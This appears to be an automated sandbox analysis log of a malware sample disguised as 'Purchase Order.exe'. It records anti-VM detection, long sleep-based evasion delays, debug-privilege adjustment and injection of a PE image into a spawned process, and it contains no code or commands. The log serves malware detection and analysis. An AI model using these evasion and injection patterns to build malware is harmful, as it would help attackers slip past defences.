Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR

Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 1900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 32A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 52A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 9550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: A550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 9550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 1660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 3200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597373	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596715	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595951	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595623	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594640	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Window / User API: threadDelayed 8718			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Window / User API: threadDelayed 1145			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 7012	Thread sleep count: 8718 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 7012	Thread sleep count: 1145 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597373s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596715s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595951s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595623s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 6968	Thread sleep time: -594640s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597373	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596715	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595951	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595623	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594640	Jump to behavior

Source: Purchase Order.exe, 00000002.00000002.4124460238.00000000016F8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB

Source: C:\Users\user\Desktop\Purchase Order.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 2_2_05DB7BA8 LdrInitializeThunk,

2_2_05DB7BA8

Source: C:\Users\user\Desktop\Purchase Order.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Purchase Order.exe

Memory written: C:\Users\user\Desktop\Purchase Order.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Users\user\Desktop\Purchase Order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
